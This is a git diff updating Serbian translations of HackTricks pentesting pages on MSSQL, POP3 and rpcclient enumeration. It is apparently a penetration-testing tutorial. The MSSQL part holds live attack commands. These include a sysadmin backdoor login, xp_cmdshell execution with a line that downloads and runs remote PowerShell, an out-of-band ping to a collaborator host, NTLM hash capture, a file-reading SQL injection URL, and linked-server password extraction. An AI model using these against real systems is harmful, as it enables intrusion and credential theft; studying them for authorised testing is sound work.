> **Microsoft SQL Server** je **relacioni sistem upravljanja bazama podataka** razvijen od strane Microsoft-a. Kao serverska baza podataka, to je softverski proizvod sa primarnom funkcijom skladištenja i dohvatanja podataka po zahtevu drugih softverskih aplikacija - koje mogu raditi ili na istom računaru ili na drugom računaru preko mreže (uključujući i Internet).\
@ -36,7 +36,7 @@ Sa [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
* **master baza podataka**: Ova baza podataka je ključna jer sadrži sve detalje na nivou sistema za instancu SQL Servera.
* **msdb baza podataka**: SQL Server Agent koristi ovu bazu podataka za upravljanje zakazivanjem upozorenja i poslova.
* **model baza podataka**: Deluje kao predlog za svaku novu bazu podataka na instanci SQL Servera, gde se sve izmene poput veličine, kolacije, modela oporavka i više, odražavaju u novo kreiranim bazama podataka.
* **model baza podataka**: Deluje kao predložak za svaku novu bazu podataka na instanci SQL Servera, gde se sve izmene poput veličine, kolacije, modela oporavka i više odražavaju u novostvorenim bazama podataka.
* **Resource baza podataka**: Baza podataka samo za čitanje koja sadrži sistemski objekte koji dolaze sa SQL Serverom. Ovi objekti, iako fizički smešteni u Resource bazi podataka, logički su prikazani u šemi sys svake baze podataka.
* **tempdb baza podataka**: Služi kao privremeno skladište za prolazne objekte ili privremene skupove rezultata.
@ -51,10 +51,10 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
msf> use auxiliary/scanner/mssql/mssql_ping
```
{% hint style="info" %}
Ako **nemate pristupne podatke**, možete pokušati da ih pogodite. Možete koristiti nmap ili metasploit. Budite oprezni, možete **blokirati naloge** ako nekoliko puta pogrešno unesete pristupne podatke koristeći postojeće korisničko ime.
Ako **nemate pristupne podatke**, možete pokušati da ih pogodite. Možete koristiti nmap ili metasploit. Budite oprezni, možete **blokirati naloge** ako nekoliko puta neuspešno pokušate prijavljivanje koristeći postojeće korisničko ime.
{% endhint %}
#### Metasploit (potrebni pristupni podaci)
#### Metasploit (potrebne pristupne informacije)
```bash
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
@ -127,7 +127,7 @@ select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'
```
#### Dobijanje Korisnika
#### Dobijanje korisnika
{% content-ref url="types-of-mssql-users.md" %}
[types-of-mssql-users.md](types-of-mssql-users.md)
@ -153,12 +153,12 @@ SELECT * FROM sysusers
```
#### Dobijanje Dozvola
1. **Obezbeđenje:** Definisano kao resursi koje upravlja SQL Serverom radi kontrole pristupa. Oni su kategorizovani u:
1. **Obezbeđenje:** Definisano kao resursi koje upravlja SQL Server za kontrolu pristupa. Oni su kategorizovani u:
- **Server** Primeri uključuju baze podataka, prijave, krajnje tačke, grupe dostupnosti i serverske uloge.
- **Baza podataka** Primeri obuhvataju ulogu baze podataka, uloge aplikacije, šemu, sertifikate, kataloge punog teksta i korisnike.
- **Šema** Uključuje tabele, poglede, procedure, funkcije, sinonime, itd.
2. **Dozvola:** Povezana sa SQL Server obezbeđenjima, dozvole poput ALTER, CONTROL i CREATE mogu biti dodeljene principalu. Upravljanje dozvolama se vrši na dva nivoa:
2. **Dozvola:** Povezana je sa SQL Server obezbeđenjima, dozvole poput ALTER, CONTROL i CREATE mogu biti dodeljene principalu. Upravljanje dozvolama se vrši na dva nivoa:
- **Nivo Servera** korišćenjem prijava
- **Nivo Baze podataka** korišćenjem korisnika
@ -187,12 +187,12 @@ EXEC sp_helprotect 'xp_cmdshell'
### Izvršavanje OS komandi
{% hint style="danger" %}
Imajte na umu da kako biste mogli da izvršavate komande, neophodno je ne samo da imate **`xp_cmdshell`** **omogućen**, već i da imate **dozvolu za IZVRŠAVANJE na `xp_cmdshell` uskladištenoj proceduri**. Možete saznati ko (osim sysadmina) može koristiti **`xp_cmdshell`** sa:
Imajte na umu da kako biste mogli da izvršavate komande, neophodno je ne samo da imate **omogućen `xp_cmdshell`**, već i da imate **DOZVOLU ZA IZVRŠAVANJE na `xp_cmdshell` uskladištenoj proceduri**. Možete saznati ko (osim sysadmina) može koristiti **`xp_cmdshell`** sa:
```sql
Use master
EXEC sp_helprotect 'xp_cmdshell'
```
{% endhint %}
{% kraj dodele %}
```bash
# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
@ -220,7 +220,7 @@ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.1
# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
```
### Ukradi NetNTLM heš / Napad preusmeravanjem
### Ukradi NetNTLM heš / Napad preusmeravanja
Treba da pokrenete **SMB server** da biste uhvatili heš koji se koristi u autentikaciji (`impacket-smbserver` ili `responder` na primer).
```bash
@ -235,7 +235,7 @@ sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
```
{% hint style="warning" %}
Možete proveriti da li neko (osim sysadmina) ima dozvole da pokrene te MSSQL funkcije sa:
Možete proveriti da li neko (osim sistem administratora) ima dozvole da pokrene te MSSQL funkcije sa:
```sql
Use master;
EXEC sp_helprotect 'xp_dirtree';
@ -298,7 +298,7 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w
MSSQL vam može omogućiti da izvršite **skripte u Python-u i/ili R-u**. Ovaj kod će biti izvršen od strane **različitog korisnika** od onog koji koristi **xp\_cmdshell** za izvršavanje komandi.
Primer pokušaja izvršavanja **'R'** _"Hellow World!"_ **ne radi**:
Primer pokušaja izvršavanja **'R'** _"Hello World!"_ **ne radi**:
![](<../../.gitbook/assets/image (185) (1).png>)
@ -318,9 +318,9 @@ GO
```
### Čitanje registra
Microsoft SQL Server pruža **više proširenih uskladištenih procedura** koje vam omogućavaju da komunicirate ne samo sa mrežom već i sa sistemom datoteka i čak [**Windows registrom**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server)**:**
Microsoft SQL Server pruža **više proširenih uskladištenih procedura** koje vam omogućavaju da komunicirate ne samo sa mrežom već i sa sistemom datoteka, pa čak i sa [**Windows registrom**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server)**:**
| **Regularne** | **Instance-svesne** |
| **Regularno** | **Svesno instance** |
| ---------------------------- | -------------------------------------- |
| sys.xp\_regread | sys.xp\_instance\_regread |
| sys.xp\_regenumvalues | sys.xp\_instance\_regenumvalues |
@ -347,11 +347,11 @@ Za **više primera** pogledajte [**originalni izvor**](https://blog.waynesheffie
Moguće je **učitati .NET dll unutar MSSQL sa prilagođenim funkcijama**. Međutim, **potrebno je `dbo` pristup** pa vam je potrebna veza sa bazom podataka **kao `sa` ili ulogom Administratora**.
[Klikom na ovaj link](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) možete videti primer.
[Kliknite na ovaj link](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) da vidite primer.
### Druge metode za RCE
Postoje i druge metode za izvršenje komandi, poput dodavanja [proširenih uskladištenih procedura](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR skupova](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent poslova](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), i [spoljnih skriptova](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
Postoje i druge metode za izvršenje komandi, kao što su dodavanje [proširenih uskladištenih procedura](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR skupova](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent poslova](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), i [spoljnih skripti](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
## MSSQL Eskalacija privilegija
@ -437,7 +437,7 @@ Možete izvršiti ovaj napad pomoću **metasploit** modula:
```bash
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
```
ili sa **PS** skriptom:
ili pomoću **PS** skripte:
```powershell
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
@ -448,19 +448,19 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
## Izvlačenje lozinki iz SQL Server Linked Servers
Napadač može izvući lozinke za SQL Server Linked Servers iz SQL instanci i dobiti ih u čistom tekstu, omogućavajući napadaču lozinke koje se mogu koristiti za sticanje većeg uporišta na meti.
Napadač može izvući lozinke za SQL Server Linked Servers iz SQL instanci i dobiti ih u čistom tekstu, dajući napadaču lozinke koje se mogu koristiti za sticanje većeg uporišta na meti.
Skripta za izvlačenje i dešifrovanje lozinki sačuvanih za Linked Servers može se pronaći [ovde](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
Potrebno je izvršiti određene zahteve i konfiguracije da bi ovaj eksploit radio.
Pre svega, morate imati administratorska prava na mašini ili mogućnost upravljanja SQL Server konfiguracijama.
Prvo, morate imati administratorska prava na mašini ili mogućnost upravljanja SQL Server konfiguracijama.
Nakon provere vaših dozvola, treba da konfigurišete tri stvari, a to su:
Nakon provere vaših dozvola, treba da konfigurišete tri stvari, koje su sledeće:
1. Omogućite TCP/IP na SQL Server instancama;
2. Dodajte start up parametar, u ovom slučaju, biće dodat trag fleg, a to je -T7806.
2. Dodajte start up parametar, u ovom slučaju, biće dodat trag za praćenje, a to je -T7806.
3. Omogućite udaljenu administratorsku vezu.
Za automatizaciju ovih konfiguracija, [ovaj repozitorijum](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ima potrebne skripte.
Pored powershell skripte za svaki korak konfiguracije, repozitorijum takođe ima kompletnu skriptu koja kombinuje konfiguracione skripte i izvlačenje i dešifrovanje lozinki.
Pored powershell skripte za svaki korak konfiguracije, repozitorijum takođe ima potpunu skriptu koja kombinuje konfiguracione skripte i izvlačenje i dešifrovanje lozinki.
Za dodatne informacije, pogledajte sledeće linkove u vezi sa ovim napadom:
[Dešifrovanje lozinki za MSSQL Database Link Server](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
@ -469,7 +469,7 @@ Za dodatne informacije, pogledajte sledeće linkove u vezi sa ovim napadom:
## Lokalno eskaliranje privilegija
Korisnik koji pokreće MSSQL server će imati omogućen token privilegije **SeImpersonatePrivilege.**\
Korisnik koji pokreće MSSQL server će imati omogućen privilegovan token **SeImpersonatePrivilege.**\
Verovatno ćete moći **da se eskalirate do Administratora** prateći jednu od ovih 2 stranica:
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
@ -495,7 +495,7 @@ Verovatno ćete moći **da se eskalirate do Administratora** prateći jednu od o
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -565,7 +565,7 @@ Drugi načini da podržite HackTricks:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.

View file

@ -4,7 +4,7 @@
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS ili preuzimanje HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -14,7 +14,7 @@
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -22,7 +22,7 @@
## Osnovne Informacije
**Protokol za poštanski servis (POP)** je opisan kao protokol unutar oblasti računarskih mreža i Interneta, koji se koristi za izvlačenje i **preuzimanje emailova sa udaljenog mail servera**, čime se omogućava pristup na lokalnom uređaju. Pozicioniran unutar aplikativnog sloja OSI modela, ovaj protokol omogućava korisnicima da preuzmu i prime emailove. Rad **POP klijenata** obično uključuje uspostavljanje veze sa mail serverom, preuzimanje svih poruka, čuvanje ovih poruka lokalno na klijentskom sistemu, i naknadno njihovo uklanjanje sa servera. Iako postoje tri iteracije ovog protokola, **POP3** se ističe kao najčešće korišćena verzija.
**Protokol za poštanski ured (POP)** je opisan kao protokol unutar oblasti računarskih mreža i Interneta, koji se koristi za izvlačenje i **preuzimanje emailova sa udaljenog mail servera**, čime se omogućava pristup na lokalnom uređaju. Pozicioniran unutar aplikativnog sloja OSI modela, ovaj protokol omogućava korisnicima da preuzimaju i primaju emailove. Rad **POP klijenata** obično uključuje uspostavljanje veze sa mail serverom, preuzimanje svih poruka, čuvanje ovih poruka lokalno na klijentskom sistemu, i naknadno njihovo uklanjanje sa servera. Iako postoje tri iteracije ovog protokola, **POP3** se ističe kao najčešće korišćena verzija.
**Podrazumevani portovi:** 110, 995(ssl)
```
@ -44,13 +44,13 @@ Možete koristiti komandu `CAPA` da biste dobili mogućnosti POP3 servera.
```bash
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts
```
`pop3-ntlm-info` plugin će vratiti neke "**osetljive**" podatke (verzije Windows-a).
`pop3-ntlm-info` dodatak će vratiti neke "**osetljive**" podatke (verzije Windows-a).
### [POP3 napad brute force](../generic-methodologies-and-resources/brute-force.md#pop)
## POP sintaksa
Primeri POP komandi preuzeti sa [ovde](http://sunnyoasis.com/services/emailviatelnet.html)
Primeri POP komandi sa [ovde](http://sunnyoasis.com/services/emailviatelnet.html)
```bash
POP commands:
USER uid Log in as "uid"
@ -66,7 +66,7 @@ CAPA Get capabilities
```
### Post Office Protocol (POP)
POP is a protocol used by email clients to retrieve email from a mail server. During a penetration test, you can attempt to retrieve emails from a target's mail server using tools like `telnet` or `netcat`. This can potentially expose sensitive information such as login credentials or confidential data. It's important to have proper authorization before attempting to access someone else's emails.
POP is a protocol used by email clients to retrieve email from a mail server. During a penetration test, you can attempt to brute force POP credentials using tools like Hydra or Metasploit. Additionally, you can use a tool like Wireshark to capture POP traffic and analyze it for potential vulnerabilities. Another common attack vector is to perform a man-in-the-middle attack to intercept POP credentials sent in plain text.
```
root@kali:~# telnet $ip 110
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
@ -95,17 +95,17 @@ password: PA$$W0RD!Z
Sa [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
| **Postavka** | **Opis** |
| ------------------------- | ----------------------------------------------------------------------------------------- |
| **Postavka** | **Opis** |
| ------------------------- | ------------------------------------------------------------------------------------------ |
| `auth_debug` | Omogućava sve autentikacione debag logove. |
| `auth_debug_passwords` | Ova postavka podešava nivo logovanja, unete lozinke i šema se loguju. |
| `auth_verbose` | Loguje neuspešne pokušaje autentikacije i njihove razloge. |
| `auth_verbose_passwords` | Lozinke korišćene za autentikaciju se loguju i mogu biti skraćene. |
| `auth_debug_passwords` | Ova postavka podešava nivo logovanja, unete lozinke i šema se loguju. |
| `auth_verbose` | Loguje neuspešne pokušaje autentikacije i njihove razloge. |
| `auth_verbose_passwords` | Lozinke korišćene za autentikaciju se loguju i mogu biti skraćene. |
| `auth_anonymous_username` | Ovo određuje korisničko ime koje će se koristiti prilikom prijavljivanja pomoću ANONYMOUS SASL mehanizma. |
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -155,7 +155,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS ili preuzimanje HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** me na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -1,20 +1,20 @@
# Enumeracija rpcclient
# Enumeracija rpcclient-a
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? Ili želite pristupiti **najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za sajber bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi** ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -22,15 +22,15 @@
### Pregled Relativnih Identifikatora (RID) i Sigurnosnih Identifikatora (SID)
**Relativni Identifikatori (RID)** i **Sigurnosni Identifikatori (SID)** su ključni komponenti u Windows operativnim sistemima za jedinstveno identifikovanje i upravljanje objektima, kao što su korisnici i grupe, unutar mrežnog domena.
**Relativni Identifikatori (RID)** i **Sigurnosni Identifikatori (SID)** su ključne komponente u Windows operativnim sistemima za jedinstveno identifikovanje i upravljanje objektima, kao što su korisnici i grupe, unutar mrežnog domena.
- **SID-ovi** služe kao jedinstveni identifikatori za domene, osiguravajući da je svaki domen razlikovljiv.
- **SID-ovi** služe kao jedinstveni identifikatori za domene, osiguravajući da svaki domen bude razlikovljiv.
- **RID-ovi** se dodaju SID-ovima kako bi se kreirali jedinstveni identifikatori za objekte unutar tih domena. Ova kombinacija omogućava precizno praćenje i upravljanje dozvolama objekata i kontrolama pristupa.
Na primer, korisnik po imenu `pepe` može imati jedinstveni identifikator koji kombinuje SID domena sa njegovim specifičnim RID-om, predstavljen u heksadecimalnom (`0x457`) i decimalnom (`1111`) formatu. To rezultira potpunim i jedinstvenim identifikatorom za pepe-a unutar domena kao što je: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
### **Enumeracija sa rpcclient**
### **Enumeracija sa rpcclient-om**
**`rpcclient`** alat iz Samba-e se koristi za interakciju sa **RPC endpointima putem imenovanih cevi**. U nastavku su navedene komande koje se mogu izdati SAMR, LSARPC i LSARPC-DS interfejsima nakon što se uspostavi **SMB sesija**, često zahtevajući akreditive.
@ -40,11 +40,11 @@ Na primer, korisnik po imenu `pepe` može imati jedinstveni identifikator koji k
#### Enumeracija Korisnika
* **Korisnici se mogu listati** korišćenjem: `querydispinfo` i `enumdomusers`.
* **Korisnici mogu biti navedeni** korišćenjem: `querydispinfo` i `enumdomusers`.
* **Detalji o korisniku** sa: `queryuser <0xrid>`.
* **Grupe korisnika** sa: `queryusergroups <0xrid>`.
* **SID korisnika se dobija** kroz: `lookupnames <korisničko_ime>`.
* **Atributi korisnika** sa: `queryuseraliases [builtin|domain] <sid>`.
* **Alijasi korisnika** sa: `queryuseraliases [builtin|domain] <sid>`.
```bash
# Users' RIDs-forced
for i in $(seq 500 1100); do
@ -72,14 +72,14 @@ done
#### Enumeracija deljenja
* **Sva dostupna deljenja** pomoću: `netshareenumall`.
* **Sva dostupna deljenja** sa: `netshareenumall`.
* **Informacije o određenom deljenju se dobijaju** sa: `netsharegetinfo <share>`.
#### Dodatne operacije sa SID-ovima
* **SID-ovi po imenu** korišćenjem: `lookupnames <username>`.
* **Više SID-ova** kroz: `lsaenumsid`.
* **Cikliranje RID-a radi provere više SID-ova** se izvodi pomoću: `lookupsids <sid>`.
* **Provera više SID-ova kroz cikliranje RID-ova** se vrši sa: `lookupsids <sid>`.
#### **Dodatne komande**
@ -92,8 +92,8 @@ done
| enumdomgroups | Enumeracija grupa domena | |
| createdomuser | Kreiranje korisnika domena | |
| deletedomuser | Brisanje korisnika domena | |
| lookupnames | LSARPC | Pretraga korisničkih imena za SID vrednosti[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) |
| lookupsids | Pretraga SID-ova za korisničkim imenima (cikliranje RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)) | |
| lookupnames | LSARPC | Pretraga korisničkih imena za SID vrednosti |
| lookupsids | Pretraga SID-ova za korisničkim imenima (cikliranje RID-ova) | |
| lsaaddacctrights | Dodavanje prava korisničkom nalogu | |
| lsaremoveacctrights | Uklanjanje prava sa korisničkog naloga | |
| dsroledominfo | LSARPC-DS | Dobijanje osnovnih informacija o domenu |
@ -103,7 +103,7 @@ Za **bolje razumevanje** kako alati _**samrdump**_ **i** _**rpcdump**_ funkcioni
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -111,10 +111,10 @@ Za **bolje razumevanje** kako alati _**samrdump**_ **i** _**rpcdump**_ funkcioni
<summary><strong>Naučite hakovanje AWS-a od početnika do stručnjaka sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS ili preuzmete HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite da vidite vašu **kompaniju reklamiranu na HackTricks**? Ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF-u**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi** ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -6,50 +6,50 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
